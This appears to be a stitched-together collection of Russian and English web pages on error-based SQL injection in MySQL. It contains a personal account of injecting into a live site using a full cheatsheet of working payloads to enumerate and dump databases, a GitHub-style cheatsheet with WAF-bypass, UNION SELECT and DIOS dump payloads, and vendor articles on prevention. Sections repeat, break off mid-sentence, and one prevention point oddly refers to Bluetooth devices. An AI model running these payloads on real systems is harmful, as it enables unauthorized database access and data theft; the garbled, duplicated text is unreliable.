Error based sql injection mysql

Что такое SQL инъекцию сегодня наверное знает каждый второй ребенок. Error-Based — уже менее знакомый термин, но все же так же прост для понимания.

На всякий случай попробую объяснить. В некоторых ситуациях инъекция происходит в запросе который непосредственно не выводит никаких данных на страницу, либо же вообще никак не влияет на вывод. И если в первом случае данные из базы можно извлечь относительно просто, используя IF, косвенно влияя на вывод страницы, и тем самым прибегнув к бинарному поиску. То вот во втором случае — все очень грустно, бинарный поиск, как правило, основывался на конструкции SLEEP и замере времени ответа, что давало огромные задержки на вывод данных через эту инъекцию.

Следующей вехой в развитии этой атаки стал вектор Error-Based. Он основывается на выводе информации в тексте ошибки выполнения запроса. Как вы понимаете, для этого нужен прямой вывод текста ошибки на саму страницу. Да я согласен, это бывает не часто, и вообще за вывод ошибок на продакшене нужно жестоко карать. Но если вам повезло, то это поможет существенно сократить время атаки.

Duplicate entry

Наверное это один из самых популярных векторов атаки. Его предложил некто Qwazar еще в лохматые года. Выглядит он вот так:

Потом этот способ дорабатывали все кому не лень (забегу немного вперед, в т.ч. и я), в итоге самый оптимальный и короткий запрос на сегодняшний день выглядит вот так:

Так например, такой запрос:

Выведет вот такую вот ошибку:
Duplicate entry '5.5.25-log' for key 'group_key'
Как видно — мы смогли передать в текст ошибки нужные нам данные, что существенно ускорит нашу атаку в дальнейшем. Ограничение — за один запрос выведется не более 64 символов.

Ошибка переполнения типа данных

Подробнее здесь. Буду краток, вектор выглядит вот так:

Пример ошибки:
BIGINT value is out of range in '(('5.5.25-log' is not null) - -(9223372036854775808))'
Данный способ покруче предыдущего так как позволяет вывести аж 475 символов вместо 64, но говорят что работает не на всех версиях MySQL. Проверить это у меня возможности нет, поэтому оставлю это на совести авторов. По крайней мере на версии 5.5 это работает точно.

Еще похожая вариация:

Это выдаст вот такую ошибку:
'((not((select 'root@localhost' from dual))) - ~(0))'

Гео-функции

Появились только в MySQL >= 5.7.5

Удобно, но 5.7.5 — это большая редкость на сегодняшний день. Тут я это наверное привел только ради того чтобы предложить альтернативу, предыдущим техникам и разбавить статью. Вряд ли это кто то применит на практике.

Заключение

Основной акцент в статье был сделан на то почему работает «Duplicate key»-метод (ради того чтобы не потерять мой пост отсюда), т.к. этот метод порой вызывает огромное недоумение. Ну а в целом буду собирать здесь все известные мне методы данной атаки.

Благодарю за внимание.

Время прочтения
6 мин

Просмотры 14K

Несколько дней назад был случайно обнаружен сайт с ругательствами на разных языках. Допустим, его адрес example.com.

На этом сайте есть список языков, ругательства на которых были внесены в «базу знаний». URL для доступа к каждому языку формировался так:
example.com/index.asp?language=[lang_name]#[чтотоеще]

Решил просмотреть доступные языки. Мало ли, может что-то интересное найдется.

Кто смотрел «Аватар», про синих больших человечков, помнит, что человечки, аватары, говорили на языке На’ви. Английский вариант — Na’vi. К моему огромному удивлению, в списке языков значился Na’vi и я, это было бы не Ъ, решил глянуть ругательства на этом языке. Однако, я не смог этого сделать.

MySQL запросов заботливо вывалил мне в браузер ошибку 80040e14. Построитель запросов, как оказалось, тупо одставлял значение [lang_name] в шаблон запроса и кавычку, используемую в назывании языка, он не экранировал, как так можно?

Пытливый мозг сразу же найдет для себя тут повод немного потестировать и не сможет удержаться от всевозможных испытаний.

Так как я не являюсь специалистом в области информационной безопасности, равно как и человеком, который работает с SQL базами, то некоторые описанные моменты мной были либо найдены в сети без объяснений и я не могу объяснить это сам, либо просто подобрано по аналогии.

Есть вероятность, что мы имеем возможность сделать т.н. основанную на ошибке MySQL инъекцию с помощью строкового параметра запроса.

Начнем по порядку.

Попробуем сперва понять, есть ли смысл в наших дальнейших действиях. Раз уж у нас возникла проблема с кавычкой, значит мы можем вклиниться в середину запроса и попробовать выполнить что-нибудь свое.

Итак.
Первый запрос, проверим слепую инъекцию:
' and 'x'='x
Полный URL:
example.com/index.asp?language=' and 'x'='x

Не работает? Ужас. Попробуем изловчиться и заменим одинарную кавычку ‘ знаком 0xbf5c27 (¿’ в ASCII), чтобы пройти через PHP’шную защиту addslashes().

Yes! Запрос прошел и выполнился. Открылась страница сайта и в списке фраз по языку видим нечто похожее на «&expr 268409241 — 2 &».

Радоваться пока рано, так как дальнейшие действия наши будут плотно завязаны на существование базы information_schema.

Выполнение наших запросов будет проводиться с помощью функций HEX() и CAST(), чтобы избавиться от мусора и проблем с формированием строк. Поэтому необходимые нам ответы будут выводиться в HEX’е и нужно будет переводить в ASCII. Есть много замечательных инструментов для этого в сети, поэтому ничего страшного.

Двигаемся дальше.

Попробуем узнать текущую БД.
Запрос:

' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x7e,0x27,HEX(CAST(DATABASE() as CHAR)),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) and '1'='1

Ответ приходит, это хорошо, можем идти дальше. Достаем cheatsheet для этой уязвимости и делаем все последовательно и по порядку:

Поиск текущего пользователя:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Версия MySQL:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Текущая база:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Пользователь системы:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Имя хоста:

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Директория MySQL

1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Пользователь базы

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Поиск баз
Примечание: продолжайте инкрементировать n, например: n, n+1, n+2,… пока не получите ответ.
Предполагается, что n = 0

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

…

Подсчет таблиц в БД:
Примечание: пусть ответ будет присвоен переменной n, m = 0;
hex_code_of_database_name заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение имен всех таблиц:
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение количества столбцов в таблице:
Примечание: hex_code_of_database_name заменить на нужное значение;
hex_code_of_table_name заменить на нужное значение;
Пусть ответ будет присвоен переменной n, m = 0;

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение имен столбцов в выбранной таблице
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name и hex_code_of_table_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение количества записей в выбранной колонке
Примечание: database_name и table_name заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Получение записей выбранной колонки
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
database_name, table_name, column_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT m-n,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

По понятным причинам код для изменения записей публиковать я не буду.

В итоге мною было поправлено имя Na’Vi на NaVi и я смог зайти посмотреть, что же там было. А там было пусто…

Error Based SQL Injections

An in-band injection technique allows hackers to take advantage of the database’s error output. Databases are manipulated into generating an error that informs the hacker about the structure of the database. Hackers utilize one of the communication channels of the server to launch an attack and retrieve information using in-band injections. Force data extraction requires using a vulnerability. Usually, the vulnerability allows code to show an SQL error from the server in place of the required data. Hackers can understand the structure of the database from this error.

Example of Error-based SQL Injections:

Adding SQL syntax to user input: In this SQL injection, a hacker inserts a malicious query to get an error that displays a message containing sensitive information about the database. A hacker might try writing a SQL command in any input field like a single quote, double-quote, or any other SQL operator like OR, AND, NOT.

For Example, for a URL of a site that takes a parameter from the user,

then in that case: https://www.example.org/index.php?item=123

Then here attacker can try inserting any SQL command or operator in the passes value,

In this case, a database could return some error like this, If you have an error in your SQL syntax, check the manual corresponding to your MySQL server version for the right syntax to use near “VALUE.” This message gives the attacker information like the database used in SQL, the syntax that caused an error, and where the syntax occurred in the query. For a professional hacker with experience, this will be enough to tell him that the server is insecurely connected to a database and can plan additional SQL injection attacks that will cause damage. An attacker can try several queries using commands like grep extract in input fields and see adding which commands return an error.

Prevention from Error-Based SQL Injection:

1. Prepared statements: The most secure way to write the database queries is using prepared statements with variable bindings. It is better because it uses parameterized queries, as working with dynamic queries is tricky. The developer must define all the SQL code beforehand, and then each parameter must be passed to the query. This method prevents almost all SQL injection attacks, as it stops hackers from changing the query’s intent and creates a separation between user input and data. This withstands better against the malicious queries entered by the users. In sporadic cases, this method will affect the server’s performance; in that case, other methods can be used.

2. Stored Procedures: This is another way to stop the attackers from attacking the system, and if it is implemented correctly, it can completely erase the possibility of SQL injections. For the stored procedure, whenever an application needs SQL queries, then they are fetched from the database itself as the SQL queries are defined and stored there for implementing the stored procedure.

3. Least Privilege: All the permissions given to the Bluetooth devices must be checked; only the necessary ones should be allowed by the device. For Example, an application must be permitted to access the database to manipulate the stored data. This reduces the risks related to SQL injection. Many normal-looking apps sometimes request access to the sensitive data present in the database. So it is better to reduce the apps’ permissions and allow only the important ones.

Источник

Error based MySQL injection или не надо ругаться

Несколько дней назад был случайно обнаружен сайт с ругательствами на разных языках. Допустим, его адрес example.com.

На этом сайте есть список языков, ругательства на которых были внесены в «базу знаний». URL для доступа к каждому языку формировался так:
example.com/index.asp?language=[lang_name]#[чтотоеще]

Решил просмотреть доступные языки. Мало ли, может что-то интересное найдется.

Кто смотрел «Аватар», про синих больших человечков, помнит, что человечки, аватары, говорили на языке На’ви. Английский вариант — Na’vi. К моему огромному удивлению, в списке языков значился Na’vi и я, это было бы не Ъ, решил глянуть ругательства на этом языке. Однако, я не смог этого сделать.

MySQL запросов заботливо вывалил мне в браузер ошибку 80040e14. Построитель запросов, как оказалось, тупо одставлял значение [lang_name] в шаблон запроса и кавычку, используемую в назывании языка, он не экранировал, как так можно?

Пытливый мозг сразу же найдет для себя тут повод немного потестировать и не сможет удержаться от всевозможных испытаний.

Так как я не являюсь специалистом в области информационной безопасности, равно как и человеком, который работает с SQL базами, то некоторые описанные моменты мной были либо найдены в сети без объяснений и я не могу объяснить это сам, либо просто подобрано по аналогии.

Есть вероятность, что мы имеем возможность сделать т.н. основанную на ошибке MySQL инъекцию с помощью строкового параметра запроса.

Начнем по порядку.

Попробуем сперва понять, есть ли смысл в наших дальнейших действиях. Раз уж у нас возникла проблема с кавычкой, значит мы можем вклиниться в середину запроса и попробовать выполнить что-нибудь свое.

Итак.
Первый запрос, проверим слепую инъекцию:
‘ and ‘x’=’x
Полный URL:
example.com/index.asp?language=’ and ‘x’=’x

Не работает? Ужас. Попробуем изловчиться и заменим одинарную кавычку ‘ знаком 0xbf5c27 (¿’ в ASCII), чтобы пройти через PHP’шную защиту addslashes().

Yes! Запрос прошел и выполнился. Открылась страница сайта и в списке фраз по языку видим нечто похожее на «&expr 268409241 — 2 &».

Радоваться пока рано, так как дальнейшие действия наши будут плотно завязаны на существование базы information_schema.

Выполнение наших запросов будет проводиться с помощью функций HEX() и CAST(), чтобы избавиться от мусора и проблем с формированием строк. Поэтому необходимые нам ответы будут выводиться в HEX’е и нужно будет переводить в ASCII. Есть много замечательных инструментов для этого в сети, поэтому ничего страшного.

Попробуем узнать текущую БД.
Запрос:

Ответ приходит, это хорошо, можем идти дальше. Достаем cheatsheet для этой уязвимости и делаем все последовательно и по порядку:

Поиск текущего пользователя:

Поиск баз
Примечание: продолжайте инкрементировать n, например: n, n+1, n+2,… пока не получите ответ.
Предполагается, что n = 0

Подсчет таблиц в БД:
Примечание: пусть ответ будет присвоен переменной n, m = 0;
hex_code_of_database_name заменить на нужное значение

Получение имен всех таблиц:
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name заменить на нужное значение
m-n заменить на нужное значение

Получение количества столбцов в таблице:
Примечание: hex_code_of_database_name заменить на нужное значение;
hex_code_of_table_name заменить на нужное значение;
Пусть ответ будет присвоен переменной n, m = 0;

Получение имен столбцов в выбранной таблице
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name и hex_code_of_table_name заменить на нужное значение
m-n заменить на нужное значение

Получение количества записей в выбранной колонке
Примечание: database_name и table_name заменить на нужное значение

Получение записей выбранной колонки
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
database_name, table_name, column_name заменить на нужное значение
m-n заменить на нужное значение

По понятным причинам код для изменения записей публиковать я не буду.

В итоге мною было поправлено имя Na’Vi на NaVi и я смог зайти посмотреть, что же там было. А там было пусто…

Источник

IntSystem.org

Случаи из опыта разработки различных WEB проектов. Интересные факты, статьи, впечатления. Программирование и все о нем в сфере WEB.

Error-Based SQL injection в MySQL

Что такое SQL инъекцию сегодня наверное знает каждый второй ребенок. Error-Based — уже менее знакомый термин, но все же так же прост для понимания.

На всякий случай попробую объяснить. В некоторых ситуациях инъекция происходит в запросе который непосредственно не выводит никаких данных на страницу, либо же вообще никак не влияет на вывод. И если в первом случае данные из базы можно извлечь относительно просто, используя IF , косвенно влияя на вывод страницы, и тем самым прибегнув к бинарному поиску. То вот во втором случае — все очень грустно, бинарный поиск, как правило, основывался на конструкции SLEEP и замере времени ответа, что давало огромные задержки на вывод данных через эту инъекцию.

Следующей вехой в развитии этой атаки стал вектор Error-Based. Он основывается на выводе информации в тексте ошибки выполнения запроса. Как вы понимаете, для этого нужен прямой вывод текста ошибки на саму страницу. Да я согласен, это бывает не часто, и вообще за вывод ошибок на продакшене нужно жестоко карать. Но если вам повезло, то это поможет существенно сократить время атаки.

Duplicate entry

Наверное это один из самых популярных векторов атаки. Его предложил некто Qwazar еще в лохматые года. Выглядит он вот так:

Источник

Name already in use

Advanced-SQL-Injection-Cheatsheet / Error Based SQLi / README.md

• Go to file T
• Go to line L
• Copy path
• Copy permalink

1 contributor

Users who have contributed to this file

Copy raw contents

Copy raw contents

MySQL Error based SQL Injection Cheatsheet

This is probably the easiest vulnerability along the SQL Injection attack. An attacker can enumerate and dump the MySQL database by using the SQL error messages to his advantage.

Detecting the vulnerability

http://domain.com/index.php?id=1
Website loads successfully

http://domain.com/index.php?id=1′
Error message shows up: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near.

http://domain.com/index.php?id=1’
Error message shows up: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near.

http://domain.com/index.php?id=1 and 0′ order by 1—+
Website loads successfully

http://domain.com/index.php?id=2-1
Website loads successfully

http://domain.com/index.php?id=-1′
Error message shows up again

http://domain.com/index.php?id=-1)’
Error message shows up again

http://domain.com/index.php?id=1′— —
Website might loads successfuly, but it might shows error also

http://domain.com/index.php?id=1′—
Website might loads successfuly, but it might shows error also

http://domain.com/index.php?id=1+—+
Website might loads successfuly, but it might shows error also

Bypassing WAF to detect the vulnerability (if the first methodology didn’t work)

In some cases, WAF won’t let you to cause errors on the website, so sending special queries might be needed to bypass WAF.

http://domain.com/index.php?id=1′—/**/-
If no WAF Warning is shown and website loads up, we confirm the vulnerability, else try the following payloads.

http//domain.com/index.php?id=/^.*1′—+-.*$/
http//domain.com/index.php?id=/*!500001′—+-*/
http//domain.com/index.php?id=1′—/**/-
http//domain.com/index.php?id=1′—/*—*/-
http//domain.com/index.php?id=1′—/*&a=*/-
http//domain.com/index.php?id=1′—/*1337*/-
http//domain.com/index.php?id=1′—/**_**/-
http//domain.com/index.php?id=1′—%0A-
http//domain.com/index.php?id=1′—%0b-
http//domain.com/index.php?id=1′—%0d%0A-
http//domain.com/index.php?id=1′—%23%0A-
http//domain.com/index.php?id=1′—%23foo%0D%0A-
http//domain.com/index.php?id=1′—%23foo*%2F*bar%0D%0A-
http//domain.com/index.php?id=1′—#qa%0A#%0A-
http//domain.com/index.php?id=/*!20000%0d%0a1′—+-*/
http//domain.com/index.php?id=/*!blobblobblob%0d%0a1′—+-*/

Find the number of columns using ‘ORDER BY’ query

Now that we performed an SQL syntax error to the website, we can begin fuzzing and finding how many columns do we have by using ORDER BY

http://domain.com/index.php?id=1′ order by 1— —
This query musn’t shows up error, since there is no lower number than 1

If the payload shows up error, try setting a negative value:
http://domain.com/index.php?id=-1′ order by 1— —
This query musn’t shows up error, since there is no lower number than 1

If the payload shows up error, try removing the quote which might cause SQL error: http://domain.com/index.php?id=605 order by 1— —
http://domain.com/index.php?id=-605 order by 1— —
These both queries musn’t shows up error. If error is still ocurring, try the following payloads:

• If both of payloads don’t work, it is problably a WAF blocking it. Try the following blocks until you won’t see WAF detection or SQL syntax error.

In this case, the payload ?id=1 order by 1— — worked and website loads successfuly. Now it is time to find the correct number of columns. Now let’s use the payload that worked, and try increasing the number by 1, untill an error shows up:

http://domain.com/index.php?id=1 order by 1— — no error
http://domain.com/index.php?id=1 order by 2— — no error
http://domain.com/index.php?id=1 order by 3— — no error
http://domain.com/index.php?id=1 order by 4— — no error
http://domain.com/index.php?id=1 order by 5— — error:
Unknown column ‘5’ in ‘order clause’Unknown column ‘5’ in ‘order clause’

This means there are only 4 columns. Now we have to find which one of these 4 columns have information.

Find the vulnerable column where information are stored using ‘UNION SELECT’ query

Using a simple query, we determine which of the 4 columns reflect our input using. Only 1 of these payloads will run without syntax error. NOTE: If none worked, try the same payloads, but remove the quote (‘) after number 1.

http://domain.com/index.php?id=1′ Union Select 1,2,3,4— —
http://domain.com/index.php?id=-1 Union Select 1,2,3,4— —
http://domain.com/index.php?id=-1′ Union Select 1,2,3,4— —
http://domain.com/index.php?id=1’+UNION+ALL+SELECT+null,null,null,null—+-
http://domain.com/index.php?id=1′ Union Select null,2,3,4— —
http://domain.com/index.php?id=1′ Union Select 1,null,3,4— —
http://domain.com/index.php?id=1′ Union Select 1,2,null,4— —
http://domain.com/index.php?id=1′ Union Select 1,2,3,null— —
http://domain.com/index.php?id=.1′ Union Select 1,2,3,4— —
http://domain.com/index.php?id=-1′ div 0′ Union Select 1,2,3,4— —
http://domain.com/index.php?id=1′ Union Select 1,2,3,4 desc— —
http://domain.com/index.php?id=1′ AND 0 Union Select 1,2,3,4— —

Website must successfully load and we will see a number (in our case between 1-4)

• If the queries will not work, try the following payloads until you see the number (refer to the image):

http://domain.com/index.php?id=1+UNION+SELECT+1,2,3,4—+-
http://domain.com/index.php?id=1+UNION+ALL+SELECT+1,2,3,4—+-
http://domain.com/index.php?id=1+UNION+ALL+SELECT+1,2,3,4—+-
http://domain.com/index.php?id=1+UNION+ALL+SELECT+null,null,null,null—+-
http://domain.com/index.php?id=1 UNION(SELECT(1),(2),(3),(4))— —
http://domain.com/index.php?id=1 +Union Distinctrow Select+1,2,3,4— —
http://domain.com/index.php?id=1+UNION+ALL+SELECT+13371,13372,13373,13374—+-
http://domain.com/index.php?id=1+UNION+ALL+SELECT+1%2c2%2c3%2c4—+-
http://domain.com/index.php?id=1 Union Select CHAR(49),CHAR(50),CHAR(51),CHAR(52)— —
http://domain.com/index.php?id=1 %23%0AUnion%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0ASelect%23%0A1,2,3,4— — (buffer by a * 300)
http://domain.com/index.php?id=Union Select * from (select 1)a join(select 2)b join(select 3)c join(select 4)d— —

We bypassed the WAF and found that the 1st column has the information (please refer to the photo).

UNION SELECT case: The vulnerable column is not being displayed

Sometimes when we manage to bypass the WAF when using UNION SELECT query, we don’t see the vulnerable column printed out in the page source (or content). A solution would be to force the server print out the vulnerable column, by using the following tricks:

1. add — before the GET/POST parameter value, for example:

1. add . before the GET/POST parameter value, for example:

1. Use AND 1 or AND 0 after the GET/POST parameter value, for example:

1. Use DIV 0 or DIV 1 after the GET/POST parameter value, for example:

Note: If AND or DIV are being blocked by WAF, consider using the alternative methods for AND alternative and NULL alternative

Retrieving the database

Dumping with DIOS

DIOS (dump in one shot), is a long crafted payload which will dump database(), tables() and columns() and will display it in the website. The photo below is DIOS in action:

• Here is a list of MySQL DIOS payloads:

• Here is a list of DIOS payloads (WAF Bypass):

Building the query with DIOS to dump the whole database

In this case the following payload worked for me (from all the UNION SELECT queries): http://domain.com/index.php?id=1′ Union Select 1,2,3,4— —
Because the 1st column was being reflected to the website, we have to replace the «1» value in the payload with a DIOS payload.

The final final payload will be (I chose the first DIOS payload):
http://domain.com/index.php?id=1′ Union Select concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/,2,3,4— —

If website does successfuly load, you will have all the database dumped in a nice format (DIOS does that).

Dumping with the traditional method

In a traditional way of SQL Injection, you first have to dump database(), then tables(), then columns(), then data inside the columns. But you have to find the name of every table and columns.

Retrieving the database

• From UNION SELECT payload, the following payload worked for me: http://domain.com/index.php?id=1′ Union Select 1,2,3,4— — Because the 1st column was being reflected to the website, we have to replace the «1» value in the payload with database().

http://domain.com/index.php?id=1′ Union Select database(),2,3,4— —

• The website will shows us the database name: db109

Convert the database name into 0xHEX: 0x6462313039

Since we know the database name, let’s dump tables name using this payload (using group_concat() ):

• Our payload will be: http://domain.com/index.php?id=1′ Union Select (SELECT+GROUP_CONCAT(able_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039),2,3,4— —

I’ve tested this query and most of the time it’s effective, but there are some websites which for some reason, doesn’t accept this query, so I came up with the following query to use in case of «emergency»:

If WAF blocks the mentioned 2 queries, try using the following query (simple WAF bypass):

Now all the tables are all dumped. I will focus on the table names intranetdir, let’s dump all the columns that this table has.

Convert the table name into 0xHEX: 0x696e7472616e6574646972

We will use this payload group_concat() to dump the columns:

Alternatively you can use the following query as well (same function, different approach):

Where 0x696e7472616e6574646972 is 0xHEX of table name (intranetdir).

• The final URL with Payload will be:
  http://domain.com/index.php?id=1′ Union Select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x696e7472616e6574646972),2,3,4— —

If WAF blocks the mentioned 2 queries, try using the following query (simple WAF bypass where 0x696e7472616e6574646972 is intranetdir in 0xHEX format):

Retrieving the data inside the column

All the columns of the name named intranetdir are dumped. In this case I will dump the data inside name column. For our final payload, we need to use database’s name in 0xHEX, table’s name in 0xHEX and column’s name in 0xHEX.

database: db109
table: intranetdir
column: name

You can use the following 3 queries to dump the data from the column name:

• Let’s use the first query (which I use the most). Assuming the 1st column is vulnerable, the final URL will be:

If the mentioned 3 queries are being blocked by WAF, consider using the following ones:

Note: 0x6e616d65 is name in 0xHEX format, convert it to your column name that you want to dump:

Источник

What Is Error-Based SQL Injection?

Error-based SQL injection is an In-band injection technique that enables threat actors to exploit error output from the database to manipulate its data. It manipulates the database into generating an error that informs the actor of the database’s structure.

In-band injection enables threat actors to utilize one communication channel to launch an attack and retrieve data. It requires using a vulnerability to force data extraction. Typically, the vulnerability allows code to output an SQL error from the server instead of the required data. This error enables the actor to understand the entire database structure.

In this article:

• Error-Based SQL Injection Examples
  • Simple Example: Adding SQL Syntax to User Input
  • Advanced Example: Running Proprietary Query for Database Vendor
• Error Based SQL Injection Prevention
  • Prepared Statements
  • Stored Procedures
  • Principle of Least Privilege
  • Allowlist Input Validation
• Preventing SQL Injection with Bright Security

Error-Based SQL Injection Examples

Simple Example: Adding SQL Syntax to User Input

In error-based SQL injection, the attacker tries to insert a malicious query with the goal of receiving an error message that provides sensitive information about the database.

The attacker might try any type of SQL command in an input field parameter—such as a single quote, double quote, or SQL operators like AND, OR, NOT.

This example shows a URL that accepts a parameter from the user, in this case the required item:

https://example.com/index.php?item=123

The attacker can try adding a single quote at the end of the parameter value:

https://example.com/index.php?name=123’

If the database returns an error like this, the attack succeeded:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.

This error message provides the attacker with:

• Information about the database used—MySQL
• The exact syntax that caused the error—single quote
• Where the syntax error occurred in the query—after the parameter value

For an experienced attacker, this is enough to see that the server is connected to the database insecurely and plan additional SQL injection attacks that can cause damage.

The attacker can also easily automate this using a command like grep extract to try many SQL syntax options in an input parameter and see which ones return errors.

Related content: Read our guide to SQL injection payloads

Advanced Example: Running Proprietary Query for Database Vendor

If the attacker knows the vendor and version of the database engine, they can try more advanced techniques. Using vendor-specific queries, they can extract specific data that can help them plan additional attacks.

Consider the same URL as above, where the attacker knows that the database is Oracle 10g. The attacker can provide a parameter value like this:

https://example.com/index.php?item=123||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

The attacker appends a special query to the parameter value. This query combines two elements:

• The UTL_INADDR.GET_HOST_NAME() function, which returns the hostname on an Oracle 10g database.
• The SQL query SELECT user from DUAL. The DUAL table is a reserved table that exists in any Oracle database. 

The combination of these two elements will result in an error, because the host name will not equal any of the user names in the DUAL table. The error will look something like this:

ORA-292257: host DAVID unknown

As soon as the attacker receives this error, they can continue passing different values to the 

Then the tester can manipulate the parameter passed to the GET_HOST_NAME() function, to discover the names of users, data from other tables, or to eventually guess the database hostname.

Another variation on this attack is to try multiple special queries for different databases and see which one “hits home”—this can reveal to the attacker which database engine the website is using.

Related content: Read our guide to SQL injection attacks

5 Tips for Error-Based SQL Injection Prevention

1. Prepared Statements

Using prepared statements with variable bindings is the most secure way to write database queries. It is also easier for programmers to work with than dynamic queries. In a parameterized query, the developer must first define all the SQL code and then pass each parameter to the query. 

This coding style creates a separation between code and data, regardless of user input provided, which prevents almost all SQL injection attacks. Prepared statements prevent an attacker from changing the intent of a query, even if a malicious SQL command is injected into user inputs.

In rare cases, prepared statements can negatively affect performance. If this is a problem, you can use one of the other prevention methods described below, but be aware that they are less secure.

2. Stored Procedures

Stored procedures are another way to prevent SQL injection. When used correctly, stored procedures can completely eliminate SQL injection vulnerabilities.

Stored procedures require developers to write SQL statements which are automatically parameterized. The difference between prepared statements and stored procedures is that the SQL code for the stored procedure is defined and stored in the database itself, then called by the application.

3. Principle of Least Privilege

